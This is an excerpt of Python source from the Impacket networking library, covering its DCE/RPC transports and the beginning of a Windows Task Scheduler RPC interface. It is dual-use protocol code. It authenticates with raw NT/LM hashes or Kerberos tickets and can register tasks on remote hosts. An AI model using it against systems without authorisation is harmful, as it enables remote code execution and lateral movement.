||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author: Alberto Solino (@agsolino)
|
||||
#
|
||||
# Description:
|
||||
# Transport implementations for the DCE/RPC protocol.
|
||||
#
|
||||
|
||||
import re
|
||||
import socket
|
||||
import binascii
|
||||
import os
|
||||
|
||||
from impacket.smbconnection import smb, SMBConnection
|
||||
from impacket import nmb
|
||||
from impacket import ntlm
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException, DCERPC_v5, DCERPC_v4
|
||||
|
||||
|
||||
class DCERPCStringBinding:
|
||||
parser = re.compile(r'(?:([a-fA-F0-9-]{8}(?:-[a-fA-F0-9-]{4}){3}-[a-fA-F0-9-]{12})@)?' # UUID (opt.)
|
||||
+'([_a-zA-Z0-9]*):' # Protocol Sequence
|
||||
+'([^\[]*)' # Network Address (opt.)
|
||||
+'(?:\[([^\]]*)\])?') # Endpoint and options (opt.)
|
||||
|
||||
def __init__(self, stringbinding):
|
||||
match = DCERPCStringBinding.parser.match(stringbinding)
|
||||
self.__uuid = match.group(1)
|
||||
self.__ps = match.group(2)
|
||||
self.__na = match.group(3)
|
||||
options = match.group(4)
|
||||
if options:
|
||||
options = options.split(',')
|
||||
self.__endpoint = options[0]
|
||||
try:
|
||||
self.__endpoint.index('endpoint=')
|
||||
self.__endpoint = self.__endpoint[len('endpoint='):]
|
||||
except:
|
||||
pass
|
||||
self.__options = options[1:]
|
||||
else:
|
||||
self.__endpoint = ''
|
||||
self.__options = []
|
||||
|
||||
def get_uuid(self):
|
||||
return self.__uuid
|
||||
|
||||
def get_protocol_sequence(self):
|
||||
return self.__ps
|
||||
|
||||
def get_network_address(self):
|
||||
return self.__na
|
||||
|
||||
def get_endpoint(self):
|
||||
return self.__endpoint
|
||||
|
||||
def get_options(self):
|
||||
return self.__options
|
||||
|
||||
def __str__(self):
|
||||
return DCERPCStringBindingCompose(self.__uuid, self.__ps, self.__na, self.__endpoint, self.__options)
|
||||
|
||||
def DCERPCStringBindingCompose(uuid=None, protocol_sequence='', network_address='', endpoint='', options=[]):
|
||||
s = ''
|
||||
if uuid: s += uuid + '@'
|
||||
s += protocol_sequence + ':'
|
||||
if network_address: s += network_address
|
||||
if endpoint or options:
|
||||
s += '[' + endpoint
|
||||
if options: s += ',' + ','.join(options)
|
||||
s += ']'
|
||||
|
||||
return s
|
||||
|
||||
def DCERPCTransportFactory(stringbinding):
|
||||
sb = DCERPCStringBinding(stringbinding)
|
||||
|
||||
na = sb.get_network_address()
|
||||
ps = sb.get_protocol_sequence()
|
||||
if 'ncadg_ip_udp' == ps:
|
||||
port = sb.get_endpoint()
|
||||
if port:
|
||||
return UDPTransport(na, int(port))
|
||||
else:
|
||||
return UDPTransport(na)
|
||||
elif 'ncacn_ip_tcp' == ps:
|
||||
port = sb.get_endpoint()
|
||||
if port:
|
||||
return TCPTransport(na, int(port))
|
||||
else:
|
||||
return TCPTransport(na)
|
||||
elif 'ncacn_http' == ps:
|
||||
port = sb.get_endpoint()
|
||||
if port:
|
||||
return HTTPTransport(na, int(port))
|
||||
else:
|
||||
return HTTPTransport(na)
|
||||
elif 'ncacn_np' == ps:
|
||||
named_pipe = sb.get_endpoint()
|
||||
if named_pipe:
|
||||
named_pipe = named_pipe[len(r'\pipe'):]
|
||||
return SMBTransport(na, filename = named_pipe)
|
||||
else:
|
||||
return SMBTransport(na)
|
||||
elif 'ncalocal' == ps:
|
||||
named_pipe = sb.get_endpoint()
|
||||
return LOCALTransport(filename = named_pipe)
|
||||
else:
|
||||
raise DCERPCException("Unknown protocol sequence.")
|
||||
|
||||
|
||||
class DCERPCTransport:
|
||||
|
||||
DCERPC_class = DCERPC_v5
|
||||
|
||||
def __init__(self, remoteName, dstport):
|
||||
self.__remoteName = remoteName
|
||||
self.__remoteHost = remoteName
|
||||
self.__dstport = dstport
|
||||
self._max_send_frag = None
|
||||
self._max_recv_frag = None
|
||||
self._domain = ''
|
||||
self._lmhash = ''
|
||||
self._nthash = ''
|
||||
self.__connect_timeout = None
|
||||
self._doKerberos = False
|
||||
self._username = ''
|
||||
self._password = ''
|
||||
self._domain = ''
|
||||
self._aesKey = None
|
||||
self._TGT = None
|
||||
self._TGS = None
|
||||
self._kdcHost = None
|
||||
self.set_credentials('','')
|
||||
|
||||
def connect(self):
|
||||
raise RuntimeError, 'virtual function'
|
||||
def send(self,data=0, forceWriteAndx = 0, forceRecv = 0):
|
||||
raise RuntimeError, 'virtual function'
|
||||
def recv(self, forceRecv = 0, count = 0):
|
||||
raise RuntimeError, 'virtual function'
|
||||
def disconnect(self):
|
||||
raise RuntimeError, 'virtual function'
|
||||
def get_socket(self):
|
||||
raise RuntimeError, 'virtual function'
|
||||
|
||||
def get_connect_timeout(self):
|
||||
return self.__connect_timeout
|
||||
def set_connect_timeout(self, timeout):
|
||||
self.__connect_timeout = timeout
|
||||
|
||||
def getRemoteName(self):
|
||||
return self.__remoteName
|
||||
|
||||
def setRemoteName(self, remoteName):
|
||||
"""This method only makes sense before connection for most protocols."""
|
||||
self.__remoteName = remoteName
|
||||
|
||||
def getRemoteHost(self):
|
||||
return self.__remoteHost
|
||||
|
||||
def setRemoteHost(self, remoteHost):
|
||||
"""This method only makes sense before connection for most protocols."""
|
||||
self.__remoteHost = remoteHost
|
||||
|
||||
def get_dport(self):
|
||||
return self.__dstport
|
||||
def set_dport(self, dport):
|
||||
"""This method only makes sense before connection for most protocols."""
|
||||
self.__dstport = dport
|
||||
|
||||
def get_addr(self):
|
||||
return self.getRemoteHost(), self.get_dport()
|
||||
def set_addr(self, addr):
|
||||
"""This method only makes sense before connection for most protocols."""
|
||||
self.setRemoteHost(addr[0])
|
||||
self.set_dport(addr[1])
|
||||
|
||||
def set_kerberos(self, flag, kdcHost = None):
|
||||
self._doKerberos = flag
|
||||
self._kdcHost = kdcHost
|
||||
|
||||
def get_kerberos(self):
|
||||
return self._doKerberos
|
||||
|
||||
def get_kdcHost(self):
|
||||
return self._kdcHost
|
||||
|
||||
def set_max_fragment_size(self, send_fragment_size):
|
||||
# -1 is default fragment size: 0 (don't fragment)
|
||||
# 0 is don't fragment
|
||||
# other values are max fragment size
|
||||
if send_fragment_size == -1:
|
||||
self.set_default_max_fragment_size()
|
||||
else:
|
||||
self._max_send_frag = send_fragment_size
|
||||
|
||||
def set_default_max_fragment_size(self):
|
||||
# default is 0: don't fragment.
|
||||
# subclasses may override this method
|
||||
self._max_send_frag = 0
|
||||
|
||||
def get_credentials(self):
|
||||
return (
|
||||
self._username,
|
||||
self._password,
|
||||
self._domain,
|
||||
self._lmhash,
|
||||
self._nthash,
|
||||
self._aesKey,
|
||||
self._TGT,
|
||||
self._TGS)
|
||||
|
||||
def set_credentials(self, username, password, domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None):
|
||||
self._username = username
|
||||
self._password = password
|
||||
self._domain = domain
|
||||
self._aesKey = aesKey
|
||||
self._TGT = TGT
|
||||
self._TGS = TGS
|
||||
if lmhash != '' or nthash != '':
|
||||
if len(lmhash) % 2: lmhash = '0%s' % lmhash
|
||||
if len(nthash) % 2: nthash = '0%s' % nthash
|
||||
try: # just in case they were converted already
|
||||
self._lmhash = binascii.unhexlify(lmhash)
|
||||
self._nthash = binascii.unhexlify(nthash)
|
||||
except:
|
||||
self._lmhash = lmhash
|
||||
self._nthash = nthash
|
||||
pass
|
||||
|
||||
def doesSupportNTLMv2(self):
|
||||
# By default we'll be returning the library's deafult. Only on SMB Transports we might be able to know it beforehand
|
||||
return ntlm.USE_NTLMv2
|
||||
|
||||
def get_dce_rpc(self):
|
||||
return DCERPC_v5(self)
|
||||
|
||||
class UDPTransport(DCERPCTransport):
|
||||
"Implementation of ncadg_ip_udp protocol sequence"
|
||||
|
||||
DCERPC_class = DCERPC_v4
|
||||
|
||||
def __init__(self, remoteName, dstport = 135):
|
||||
DCERPCTransport.__init__(self, remoteName, dstport)
|
||||
self.__socket = 0
|
||||
self.set_connect_timeout(30)
|
||||
self.__recv_addr = ''
|
||||
|
||||
def connect(self):
|
||||
try:
|
||||
af, socktype, proto, canonname, sa = socket.getaddrinfo(self.getRemoteHost(), self.get_dport(), 0, socket.SOCK_DGRAM)[0]
|
||||
self.__socket = socket.socket(af, socktype, proto)
|
||||
self.__socket.settimeout(self.get_connect_timeout())
|
||||
except socket.error, msg:
|
||||
self.__socket = None
|
||||
raise DCERPCException("Could not connect: %s" % msg)
|
||||
|
||||
return 1
|
||||
|
||||
def disconnect(self):
|
||||
try:
|
||||
self.__socket.close()
|
||||
except socket.error:
|
||||
self.__socket = None
|
||||
return 0
|
||||
return 1
|
||||
|
||||
def send(self,data, forceWriteAndx = 0, forceRecv = 0):
|
||||
self.__socket.sendto(data, (self.getRemoteHost(), self.get_dport()))
|
||||
|
||||
def recv(self, forceRecv = 0, count = 0):
|
||||
buffer, self.__recv_addr = self.__socket.recvfrom(8192)
|
||||
return buffer
|
||||
|
||||
def get_recv_addr(self):
|
||||
return self.__recv_addr
|
||||
|
||||
def get_socket(self):
|
||||
return self.__socket
|
||||
|
||||
class TCPTransport(DCERPCTransport):
|
||||
"""Implementation of ncacn_ip_tcp protocol sequence"""
|
||||
|
||||
def __init__(self, remoteName, dstport = 135):
|
||||
DCERPCTransport.__init__(self, remoteName, dstport)
|
||||
self.__socket = 0
|
||||
self.set_connect_timeout(30)
|
||||
|
||||
def connect(self):
|
||||
af, socktype, proto, canonname, sa = socket.getaddrinfo(self.getRemoteHost(), self.get_dport(), 0, socket.SOCK_STREAM)[0]
|
||||
self.__socket = socket.socket(af, socktype, proto)
|
||||
try:
|
||||
self.__socket.settimeout(self.get_connect_timeout())
|
||||
self.__socket.connect(sa)
|
||||
except socket.error, msg:
|
||||
self.__socket.close()
|
||||
raise DCERPCException("Could not connect: %s" % msg)
|
||||
return 1
|
||||
|
||||
def disconnect(self):
|
||||
try:
|
||||
self.__socket.close()
|
||||
except socket.error, msg:
|
||||
self.__socket = None
|
||||
return 0
|
||||
return 1
|
||||
|
||||
def send(self,data, forceWriteAndx = 0, forceRecv = 0):
|
||||
if self._max_send_frag:
|
||||
offset = 0
|
||||
while 1:
|
||||
toSend = data[offset:offset+self._max_send_frag]
|
||||
if not toSend:
|
||||
break
|
||||
self.__socket.send(toSend)
|
||||
offset += len(toSend)
|
||||
else:
|
||||
self.__socket.send(data)
|
||||
|
||||
def recv(self, forceRecv = 0, count = 0):
|
||||
if count:
|
||||
buffer = ''
|
||||
while len(buffer) < count:
|
||||
buffer += self.__socket.recv(count-len(buffer))
|
||||
else:
|
||||
buffer = self.__socket.recv(8192)
|
||||
return buffer
|
||||
|
||||
def get_socket(self):
|
||||
return self.__socket
|
||||
|
||||
class HTTPTransport(TCPTransport):
|
||||
"""Implementation of ncacn_http protocol sequence"""
|
||||
|
||||
def connect(self):
|
||||
TCPTransport.connect(self)
|
||||
|
||||
self.get_socket().send('RPC_CONNECT ' + self.getRemoteHost() + ':593 HTTP/1.0\r\n\r\n')
|
||||
data = self.get_socket().recv(8192)
|
||||
if data[10:13] != '200':
|
||||
raise DCERPCException("Service not supported.")
|
||||
|
||||
class SMBTransport(DCERPCTransport):
|
||||
"""Implementation of ncacn_np protocol sequence"""
|
||||
|
||||
def __init__(self, remoteName, dstport=445, filename='', username='', password='', domain='', lmhash='', nthash='',
|
||||
aesKey='', TGT=None, TGS=None, remote_host='', smb_connection=0, doKerberos=False, kdcHost=None):
|
||||
DCERPCTransport.__init__(self, remoteName, dstport)
|
||||
self.__socket = None
|
||||
self.__tid = 0
|
||||
self.__filename = filename
|
||||
self.__handle = 0
|
||||
self.__pending_recv = 0
|
||||
self.set_credentials(username, password, domain, lmhash, nthash, aesKey, TGT, TGS)
|
||||
self._doKerberos = doKerberos
|
||||
self._kdcHost = kdcHost
|
||||
|
||||
if remote_host != '':
|
||||
self.setRemoteHost(remote_host)
|
||||
|
||||
if smb_connection == 0:
|
||||
self.__existing_smb = False
|
||||
else:
|
||||
self.__existing_smb = True
|
||||
self.set_credentials(*smb_connection.getCredentials())
|
||||
|
||||
self.__prefDialect = None
|
||||
self.__smb_connection = smb_connection
|
||||
|
||||
def preferred_dialect(self, dialect):
|
||||
self.__prefDialect = dialect
|
||||
|
||||
def setup_smb_connection(self):
|
||||
if not self.__smb_connection:
|
||||
self.__smb_connection = SMBConnection(self.getRemoteName(), self.getRemoteHost(), sess_port=self.get_dport(),
|
||||
preferredDialect=self.__prefDialect)
|
||||
|
||||
def connect(self):
|
||||
# Check if we have a smb connection already setup
|
||||
if self.__smb_connection == 0:
|
||||
self.setup_smb_connection()
|
||||
if self._doKerberos is False:
|
||||
self.__smb_connection.login(self._username, self._password, self._domain, self._lmhash, self._nthash)
|
||||
else:
|
||||
self.__smb_connection.kerberosLogin(self._username, self._password, self._domain, self._lmhash,
|
||||
self._nthash, self._aesKey, kdcHost=self._kdcHost, TGT=self._TGT,
|
||||
TGS=self._TGS)
|
||||
self.__tid = self.__smb_connection.connectTree('IPC$')
|
||||
self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename)
|
||||
self.__socket = self.__smb_connection.getSMBServer().get_socket()
|
||||
return 1
|
||||
|
||||
def disconnect(self):
|
||||
self.__smb_connection.disconnectTree(self.__tid)
|
||||
# If we created the SMB connection, we close it, otherwise
|
||||
# that's up for the caller
|
||||
if self.__existing_smb is False:
|
||||
self.__smb_connection.logoff()
|
||||
self.__smb_connection = 0
|
||||
|
||||
def send(self,data, forceWriteAndx = 0, forceRecv = 0):
|
||||
if self._max_send_frag:
|
||||
offset = 0
|
||||
while 1:
|
||||
toSend = data[offset:offset+self._max_send_frag]
|
||||
if not toSend:
|
||||
break
|
||||
self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset = offset)
|
||||
offset += len(toSend)
|
||||
else:
|
||||
self.__smb_connection.writeFile(self.__tid, self.__handle, data)
|
||||
if forceRecv:
|
||||
self.__pending_recv += 1
|
||||
|
||||
def recv(self, forceRecv = 0, count = 0 ):
|
||||
if self._max_send_frag or self.__pending_recv:
|
||||
# _max_send_frag is checked because it's the same condition we checked
|
||||
# to decide whether to use write_andx() or send_trans() in send() above.
|
||||
if self.__pending_recv:
|
||||
self.__pending_recv -= 1
|
||||
return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead = self._max_recv_frag)
|
||||
else:
|
||||
return self.__smb_connection.readFile(self.__tid, self.__handle)
|
||||
|
||||
def get_smb_connection(self):
|
||||
return self.__smb_connection
|
||||
|
||||
def set_smb_connection(self, smb_connection):
|
||||
self.__smb_connection = smb_connection
|
||||
self.set_credentials(*smb_connection.getCredentials())
|
||||
self.__existing_smb = True
|
||||
|
||||
def get_smb_server(self):
|
||||
# Raw Access to the SMBServer (whatever type it is)
|
||||
return self.__smb_connection.getSMBServer()
|
||||
|
||||
def get_socket(self):
|
||||
return self.__socket
|
||||
|
||||
def doesSupportNTLMv2(self):
|
||||
return self.__smb_connection.doesSupportNTLMv2()
|
||||
|
||||
class LOCALTransport(DCERPCTransport):
|
||||
"""
|
||||
Implementation of ncalocal protocol sequence, not the same
|
||||
as ncalrpc (I'm not doing LPC just opening the local pipe)
|
||||
"""
|
||||
|
||||
def __init__(self, filename = ''):
|
||||
DCERPCTransport.__init__(self, '', 0)
|
||||
self.__filename = filename
|
||||
self.__handle = 0
|
||||
|
||||
def connect(self):
|
||||
if self.__filename.upper().find('PIPE') < 0:
|
||||
self.__filename = '\\PIPE\\%s' % self.__filename
|
||||
self.__handle = os.open('\\\\.\\%s' % self.__filename, os.O_RDWR|os.O_BINARY)
|
||||
return 1
|
||||
|
||||
def disconnect(self):
|
||||
os.close(self.__handle)
|
||||
|
||||
def send(self,data, forceWriteAndx = 0, forceRecv = 0):
|
||||
os.write(self.__handle, data)
|
||||
|
||||
def recv(self, forceRecv = 0, count = 0 ):
|
||||
data = os.read(self.__handle, 65535)
|
||||
return data
|
||||
@@ -0,0 +1,758 @@
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author: Alberto Solino (@agsolino)
|
||||
#
|
||||
# Description:
|
||||
# [MS-TSCH] ITaskSchedulerService Interface implementation
|
||||
#
|
||||
# Best way to learn how to use these calls is to grab the protocol standard
|
||||
# so you understand what the call does, and then read the test case located
|
||||
# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
|
||||
#
|
||||
# Some calls have helper functions, which makes it even easier to use.
|
||||
# They are located at the end of this file.
|
||||
# Helper functions start with "h"<name of the call>.
|
||||
# There are test cases for them too.
|
||||
#
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray
|
||||
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR, NULL, GUID, PSYSTEMTIME, SYSTEMTIME
|
||||
from impacket.structure import Structure
|
||||
from impacket import hresult_errors, system_errors
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
|
||||
MSRPC_UUID_TSCHS = uuidtup_to_bin(('86D35949-83C9-4044-B424-DB363231FD0C','1.0'))
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__( self ):
|
||||
key = self.error_code
|
||||
if hresult_errors.ERROR_MESSAGES.has_key(key):
|
||||
error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
|
||||
return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
|
||||
elif system_errors.ERROR_MESSAGES.has_key(key & 0xffff):
|
||||
error_msg_short = system_errors.ERROR_MESSAGES[key & 0xffff][0]
|
||||
error_msg_verbose = system_errors.ERROR_MESSAGES[key & 0xffff][1]
|
||||
return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
|
||||
else:
|
||||
return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code
|
||||
|
||||
################################################################################
|
||||
# CONSTANTS
|
||||
################################################################################
|
||||
# 2.3.1 Constant Values
|
||||
CNLEN = 15
|
||||
DNLEN = CNLEN
|
||||
UNLEN = 256
|
||||
MAX_BUFFER_SIZE = (DNLEN+UNLEN+1+1)
|
||||
|
||||
# 2.3.7 Flags
|
||||
TASK_FLAG_INTERACTIVE = 0x1
|
||||
TASK_FLAG_DELETE_WHEN_DONE = 0x2
|
||||
TASK_FLAG_DISABLED = 0x4
|
||||
TASK_FLAG_START_ONLY_IF_IDLE = 0x10
|
||||
TASK_FLAG_KILL_ON_IDLE_END = 0x20
|
||||
TASK_FLAG_DONT_START_IF_ON_BATTERIES = 0x40
|
||||
TASK_FLAG_KILL_IF_GOING_ON_BATTERIES = 0x80
|
||||
TASK_FLAG_RUN_ONLY_IF_DOCKED = 0x100
|
||||
TASK_FLAG_HIDDEN = 0x200
|
||||
TASK_FLAG_RUN_IF_CONNECTED_TO_INTERNET = 0x400
|
||||
TASK_FLAG_RESTART_ON_IDLE_RESUME = 0x800
|
||||
TASK_FLAG_SYSTEM_REQUIRED = 0x1000
|
||||
TASK_FLAG_RUN_ONLY_IF_LOGGED_ON = 0x2000
|
||||
|
||||
# 2.3.9 TASK_LOGON_TYPE
|
||||
TASK_LOGON_NONE = 0
|
||||
TASK_LOGON_PASSWORD = 1
|
||||
TASK_LOGON_S4U = 2
|
||||
TASK_LOGON_INTERACTIVE_TOKEN = 3
|
||||
TASK_LOGON_GROUP = 4
|
||||
TASK_LOGON_SERVICE_ACCOUNT = 5
|
||||
TASK_LOGON_INTERACTIVE_TOKEN_OR_PASSWORD = 6
|
||||
|
||||
# 2.3.13 TASK_STATE
|
||||
TASK_STATE_UNKNOWN = 0
|
||||
TASK_STATE_DISABLED = 1
|
||||
TASK_STATE_QUEUED = 2
|
||||
TASK_STATE_READY = 3
|
||||
TASK_STATE_RUNNING = 4
|
||||
|
||||
# 2.4.1 FIXDLEN_DATA
|
||||
SCHED_S_TASK_READY = 0x00041300
|
||||
SCHED_S_TASK_RUNNING = 0x00041301
|
||||
SCHED_S_TASK_NOT_SCHEDULED = 0x00041301
|
||||
|
||||
# 2.4.2.11 Triggers
|
||||
TASK_TRIGGER_FLAG_HAS_END_DATE = 0
|
||||
TASK_TRIGGER_FLAG_KILL_AT_DURATION_END = 0
|
||||
TASK_TRIGGER_FLAG_DISABLED = 0
|
||||
|
||||
# ToDo: Change this to enums
|
||||
ONCE = 0
|
||||
DAILY = 1
|
||||
WEEKLY = 2
|
||||
MONTHLYDATE = 3
|
||||
MONTHLYDOW = 4
|
||||
EVENT_ON_IDLE = 5
|
||||
EVENT_AT_SYSTEMSTART = 6
|
||||
EVENT_AT_LOGON = 7
|
||||
|
||||
SUNDAY = 0
|
||||
MONDAY = 1
|
||||
TUESDAY = 2
|
||||
WEDNESDAY = 3
|
||||
THURSDAY = 4
|
||||
FRIDAY = 5
|
||||
SATURDAY = 6
|
||||
|
||||
JANUARY = 1
|
||||
FEBRUARY = 2
|
||||
MARCH = 3
|
||||
APRIL = 4
|
||||
MAY = 5
|
||||
JUNE = 6
|
||||
JULY = 7
|
||||
AUGUST = 8
|
||||
SEPTEMBER = 9
|
||||
OCTOBER = 10
|
||||
NOVEMBER = 11
|
||||
DECEMBER = 12
|
||||
|
||||
# 2.4.2.11.8 MONTHLYDOW Trigger
|
||||
FIRST_WEEK = 1
|
||||
SECOND_WEEK = 2
|
||||
THIRD_WEEK = 3
|
||||
FOURTH_WEEK = 4
|
||||
LAST_WEEK = 5
|
||||
|
||||
# 2.3.12 TASK_NAMES
|
||||
TASK_NAMES = LPWSTR
|
||||
|
||||
# 3.2.5.4.2 SchRpcRegisterTask (Opnum 1)
|
||||
TASK_VALIDATE_ONLY = 1<<(31-31)
|
||||
TASK_CREATE = 1<<(31-30)
|
||||
TASK_UPDATE = 1<<(31-29)
|
||||
TASK_DISABLE = 1<<(31-28)
|
||||
TASK_DON_ADD_PRINCIPAL_ACE = 1<<(31-27)
|
||||
TASK_IGNORE_REGISTRATION_TRIGGERS = 1<<(31-26)
|
||||
|
||||
# 3.2.5.4.7 SchRpcEnumFolders (Opnum 6)
|
||||
TASK_ENUM_HIDDEN = 1
|
||||
|
||||
# 3.2.5.4.13 SchRpcRun (Opnum 12)
|
||||
TASK_RUN_AS_SELF = 1<<(31-31)
|
||||
TASK_RUN_IGNORE_CONSTRAINTS = 1<<(31-30)
|
||||
TASK_RUN_USE_SESSION_ID = 1<<(31-29)
|
||||
TASK_RUN_USER_SID = 1<<(31-28)
|
||||
|
||||
class SYSTEMTIME_ARRAY(NDRUniConformantArray):
|
||||
item = SYSTEMTIME
|
||||
|
||||
class PSYSTEMTIME_ARRAY(NDRPOINTER):
|
||||
referent = (
|
||||
('Data',SYSTEMTIME_ARRAY),
|
||||
)
|
||||
|
||||
# 3.2.5.4.18 SchRpcGetTaskInfo (Opnum 17)
|
||||
SCH_FLAG_STATE = 1<<(31-3)
|
||||
|
||||
################################################################################
|
||||
# STRUCTURES
|
||||
################################################################################
|
||||
# 2.3.12 TASK_NAMES
|
||||
class TASK_NAMES_ARRAY(NDRUniConformantArray):
|
||||
item = TASK_NAMES
|
||||
|
||||
class PTASK_NAMES_ARRAY(NDRPOINTER):
|
||||
referent = (
|
||||
('Data',TASK_NAMES_ARRAY),
|
||||
)
|
||||
|
||||
class WSTR_ARRAY(NDRUniConformantArray):
|
||||
item = WSTR
|
||||
|
||||
class PWSTR_ARRAY(NDRPOINTER):
|
||||
referent = (
|
||||
('Data',WSTR_ARRAY),
|
||||
)
|
||||
|
||||
class GUID_ARRAY(NDRUniConformantArray):
|
||||
item = GUID
|
||||
|
||||
class PGUID_ARRAY(NDRPOINTER):
|
||||
referent = (
|
||||
('Data',TASK_NAMES_ARRAY),
|
||||
)
|
||||
|
||||
# 3.2.5.4.13 SchRpcRun (Opnum 12)
|
||||
class SYSTEMTIME_ARRAY(NDRUniConformantArray):
|
||||
item = SYSTEMTIME
|
||||
|
||||
class PSYSTEMTIME_ARRAY(NDRPOINTER):
|
||||
referent = (
|
||||
('Data',SYSTEMTIME_ARRAY),
|
||||
)
|
||||
|
||||
# 2.3.8 TASK_USER_CRED
|
||||
class TASK_USER_CRED(NDRSTRUCT):
|
||||
structure = (
|
||||
('userId',LPWSTR),
|
||||
('password',LPWSTR),
|
||||
('flags',DWORD),
|
||||
)
|
||||
|
||||
class TASK_USER_CRED_ARRAY(NDRUniConformantArray):
|
||||
item = TASK_USER_CRED
|
||||
|
||||
class LPTASK_USER_CRED_ARRAY(NDRPOINTER):
|
||||
referent = (
|
||||
('Data',TASK_USER_CRED_ARRAY),
|
||||
)
|
||||
|
||||
# 2.3.10 TASK_XML_ERROR_INFO
|
||||
class TASK_XML_ERROR_INFO(NDRSTRUCT):
|
||||
structure = (
|
||||
('line',DWORD),
|
||||
('column',DWORD),
|
||||
('node',LPWSTR),
|
||||
('value',LPWSTR),
|
||||
)
|
||||
|
||||
class PTASK_XML_ERROR_INFO(NDRPOINTER):
|
||||
referent = (
|
||||
('Data',TASK_XML_ERROR_INFO),
|
||||
)
|
||||
|
||||
# 2.4.1 FIXDLEN_DATA
|
||||
class FIXDLEN_DATA(Structure):
|
||||
structure = (
|
||||
('Product Version','<H=0'),
|
||||
('File Version','<H=0'),
|
||||
('Job uuid','16s="'),
|
||||
('App Name Len Offset','<H=0'),
|
||||
('Trigger Offset','<H=0'),
|
||||
('Error Retry Count','<H=0'),
|
||||
('Error Retry Interval','<H=0'),
|
||||
('Idle Deadline','<H=0'),
|
||||
('Idle Wait','<H=0'),
|
||||
('Priority','<L=0'),
|
||||
('Maximum Run Time','<L=0'),
|
||||
('Exit Code','<L=0'),
|
||||
('Status','<L=0'),
|
||||
('Flags','<L=0'),
|
||||
)
|
||||
|
||||
# 2.4.2.11 Triggers
|
||||
class FIXDLEN_DATA(Structure):
|
||||
structure = (
|
||||
('Trigger Size','<H=0'),
|
||||
('Reserved1','<H=0'),
|
||||
('Begin Year','<H=0'),
|
||||
('Begin Month','<H=0'),
|
||||
('Begin Day','<H=0'),
|
||||
('End Year','<H=0'),
|
||||
('End Month','<H=0'),
|
||||
('End Day','<H=0'),
|
||||
('Start Hour','<H=0'),
|
||||
('Start Minute','<H=0'),
|
||||
('Minutes Duration','<L=0'),
|
||||
('Minutes Interval','<L=0'),
|
||||
('Flags','<L=0'),
|
||||
('Trigger Type','<L=0'),
|
||||
('TriggerSpecific0','<H=0'),
|
||||
('TriggerSpecific1','<H=0'),
|
||||
('TriggerSpecific2','<H=0'),
|
||||
('Padding','<H=0'),
|
||||
('Reserved2','<H=0'),
|
||||
('Reserved3','<H=0'),
|
||||
)
|
||||
|
||||
# 2.4.2.11.6 WEEKLY Trigger
|
||||
class WEEKLY(Structure):
|
||||
structure = (
|
||||
('Trigger Type','<L=0'),
|
||||
('Weeks Interval','<H=0'),
|
||||
('DaysOfTheWeek','<H=0'),
|
||||
('Unused','<H=0'),
|
||||
('Padding','<H=0'),
|
||||
)
|
||||
|
||||
# 2.4.2.11.7 MONTHLYDATE Trigger
|
||||
class MONTHLYDATE(Structure):
|
||||
structure = (
|
||||
('Trigger Type','<L=0'),
|
||||
('Days','<L=0'),
|
||||
('Months','<H=0'),
|
||||
('Padding','<H=0'),
|
||||
)
|
||||
|
||||
# 2.4.2.11.8 MONTHLYDOW Trigger
|
||||
class MONTHLYDOW(Structure):
|
||||
structure = (
|
||||
('Trigger Type','<L=0'),
|
||||
('WhichWeek','<H=0'),
|
||||
('DaysOfTheWeek','<H=0'),
|
||||
('Months','<H=0'),
|
||||
('Padding','<H=0'),
|
||||
('Reserved2','<H=0'),
|
||||
('Reserved3','<H=0'),
|
||||
)
|
||||
|
||||
# 2.4.2.12 Job Signature
|
||||
class JOB_SIGNATURE(Structure):
|
||||
structure = (
|
||||
('SignatureVersion','<HH0'),
|
||||
('MinClientVersion','<H=0'),
|
||||
('Signature','64s="'),
|
||||
)
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
# 3.2.5.4.1 SchRpcHighestVersion (Opnum 0)
|
||||
class SchRpcHighestVersion(NDRCALL):
|
||||
opnum = 0
|
||||
structure = (
|
||||
)
|
||||
|
||||
class SchRpcHighestVersionResponse(NDRCALL):
|
||||
structure = (
|
||||
('pVersion', DWORD),
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
# 3.2.5.4.2 SchRpcRegisterTask (Opnum 1)
|
||||
class SchRpcRegisterTask(NDRCALL):
|
||||
opnum = 1
|
||||
structure = (
|
||||
('path', LPWSTR),
|
||||
('xml', WSTR),
|
||||
('flags', DWORD),
|
||||
('sddl', LPWSTR),
|
||||
('logonType', DWORD),
|
||||
('cCreds', DWORD),
|
||||
('pCreds', LPTASK_USER_CRED_ARRAY),
|
||||
)
|
||||
|
||||
class SchRpcRegisterTaskResponse(NDRCALL):
|
||||
structure = (
|
||||
('pActualPath', LPWSTR),
|
||||
('pErrorInfo', PTASK_XML_ERROR_INFO),
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
# 3.2.5.4.3 SchRpcRetrieveTask (Opnum 2)
|
||||
class SchRpcRetrieveTask(NDRCALL):
|
||||
opnum = 2
|
||||
structure = (
|
||||
('path', WSTR),
|
||||
('lpcwszLanguagesBuffer', WSTR),
|
||||
('pulNumLanguages', DWORD),
|
||||
)
